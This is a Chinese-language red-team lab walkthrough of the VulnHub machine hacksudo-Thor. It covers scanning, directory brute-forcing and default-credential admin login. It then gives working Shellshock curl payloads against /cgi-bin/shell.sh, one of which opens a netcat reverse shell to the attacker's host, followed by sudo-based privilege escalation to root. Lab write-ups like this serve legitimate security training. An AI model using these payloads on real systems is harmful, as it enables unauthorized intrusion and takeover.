VulnHub靶机-hacksudo-Thor|红队打靶
2023-6-2 08:2:40 Author: 0x00实验室(查看原文) 阅读量:14 收藏

 声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!

实战打靶系列第 10 篇文章 

一、主机发现

arp-scan -l

靶机的ip:192.168.56.113

kali的ip:192.168.56.102

二、对靶机进行探测

1、开放的端口,运行的服务以及操作系统检测

nmap -sT -O -sV -p- 192.168.56.113

开放了22,80两个端口,22端口开放了ssh服务,80端口运行的是apache的http服务;操作系统检测是linux4.15-5.6

2、对开放的端口进行nmap的漏洞库检测

nmap --script=vuln -p22,80 --min-rate=10000 192.168.56.113

--min-rate指的是以最低多少的速率进行探测

从漏洞脚本的检测,发现80端口有/admin_login.php这个目录,那么先对80 端口进行访问

3、80端口是web服务,那么使用浏览器进行访问

发现是一个类似银行的网站,有4个网页,home下有登录框,尝试一些弱密码admin/admin,admin/passwd,发现都登陆不进去

查看home下的源码,美欧发现有用的注释信息或者代码

访问NEWS页面

也没有信息,但是源码有一个目录信息,cgi-bin,那会不会有这个目录呢

访问/cgi-bin,返回没有找到

先去访问剩下的两个页面,contact.php返回的是一些联系方式,但是访问about us的时候,只是url加了一个#about

那么把contact.php去掉,只是访问#about,还有about,发现#about为home,about没有找到

4、对80端口进行目录爆破

dirsearch -u http://192.168.56.113

返回了很多403的目录,但是有一些可以利用的目录,/README.md,/admin_login.php,/cgi-bin/,/header.php

挨个进行访问,

访问/README.md

发现有文件下载,查看文件,是关于这个网站的信息,不如如何搭建等信息,但是,有一些github的地址,会不会是这个网站的源码

访问这个github地址

还真的是这个网站的源码,先浏览一下子这个介绍,发现有默认的密码

尝试进行登录,发现登陆不了,联想到刚才的目录爆破,有一个/admin_login.php目录,会不会这个是admin的登录后台

访问/admin_login.php目录

发现好像真是admin的登录后台,尝试一下刚才的默认密码,登录成功,但是在旁边的目录中,没有发现类似文件上传的选项,猜测可能有别的漏洞,但是没办法拿到shell,进来了,就查看一下

尝试添加用户,发现有sql注入,但是貌似失去了、注入只是拿到这个网站的用户等信息,没办法拿到shell,故在这里不进行尝试

在上面有这个网站的源码,也有数据库信息,可以找到里面的默认用户,当然也就是adin登录后看到的那4个账号,admin后台中port news这个功能,新建的信息是在网站80的默认页的news页面中展示的信息,也没有可以利用的

访问/header.php

发现页面没有信息,源代码也没有

访问/cgi-bin/

返回403,这个与访问/cgi-bin截然不同,但是它返回403,就代表它的子目录访问不了吗?

尝试对/cgi-bin/进行目录爆破

dirsearch -u http://192.168.56.113/cgi-bin/

发现下面有一个shell.sh返回500,服务器错误

根据/cgi-bin/这个名字,还有下面有一个shell.sh,那么这里可能利用了cgi技术,那么这里可能会不会有破壳漏洞

破壳漏洞

破壳漏洞(shell),利用整个web应用的软件架构中的一部分可以执行代码的软件组件,通过这种漏洞来实现代码执行,反弹shell等操作

破壳漏洞所利用的就是shell的bash类型

根本原因:由于bash解析环境变量当中引用的函数定义的时候,它的过滤和函数定义的界限区分不清晰,而造成了这个漏洞

如果web应用使用了cgi技术,通过外部程序的引用,引用了操作系统的bash来处理一些指令的话,那么就可以把http服务作为访问操作系统shell的通道,向操作系统shell,提交环境变量定义,环境变量定义当中,又引入其他的函数定义,实现目标的手段。

判断和利用:

去寻找web程序下/cgi-bin下是否存在cgi,sh的文件,如果存在,那么就意味着这个web应用程序所引用外部应用程序就是操作系统的shell

条件:操作系统使用的是bash并且版本老

如果存在cgi或者sh后缀的话,使用nmap进行判断是否有破壳漏洞

三、获取初始shell

那么针对/cgi-bin/shell.sh进行检测和利用

破壳漏洞检测:nmap -sV -p80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.56.113

使用curl进行进一步探测,自定义一个ua头,然后再u头中自定义一个函数,然后输入操作系统的指令,并查询是否存在nc

curl -H "user-agent: () { : ; }; echo; echo; /bin/bash -c ' which nc '" \http://192.168.56.113/cgi-bin/shell.sh

返回了nc的路径,呢吗可以肯定这里一定存在破壳漏洞,那么这里就可以利用来获取初始shell

反弹shell

curl -H "user-agent: () { : ; }; echo; echo; /bin/bash -c ' nc -e /bin/bash 192.168.56.102 3333 '" \http://192.168.56.113/cgi-bin/shell.sh

反弹成功

四、提权

第一次提权(thor)

python -c 'import pty;pty.spawn("/bin/bash")'

提高交互性

cat /ect/passwd

sudo -l

发现有thor的用户并且当前用户可以用thor的权限无密码运行/home/thor/./hammer.sh

查看一下这个文件,发现没有权限

运行一下这个文件

sudo -u thor /home/thor/./hammer.sh

第一个输入一个key,输入了123,第二个位置要输入机密的消息,输入一个id,发现它返回了thor用户的id,那么第二个位置应该是可以用thor的权限运行命令,那么就可以利用提权,再次运行,在第二个位置输入bash,成功提升为thor用户

第二次提权(root)

python -c 'import pty;pty.spawn("/bin/bash")'

提高交互性

还是一样

sudo -l

发下 可以使用root权限无密码运行/usr/bin/cat, /usr/sbin/service两个命令

这里介绍一个网址,里面有很多的linux提权的巧用妙用

GTFOBins:https://gtfobins.github.io/

可以在上面找到很多命令的巧用妙用

比如service

直接使用里面的sudo权限提权的命令

sudo service ../../bin/sh

提权成功

两个flag

proof.txt

root.txt

参考资料:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5MDY2MTUyMA==&mid=2247490265&idx=1&sn=369616c63143a879abcad2a129396e41&chksm=cfd86526f8afec30be44ae71161814f3b7e15f7049b37a0004eb8de99d4613eeb54007abdadc#rd
如有侵权请联系:admin#unsafe.sh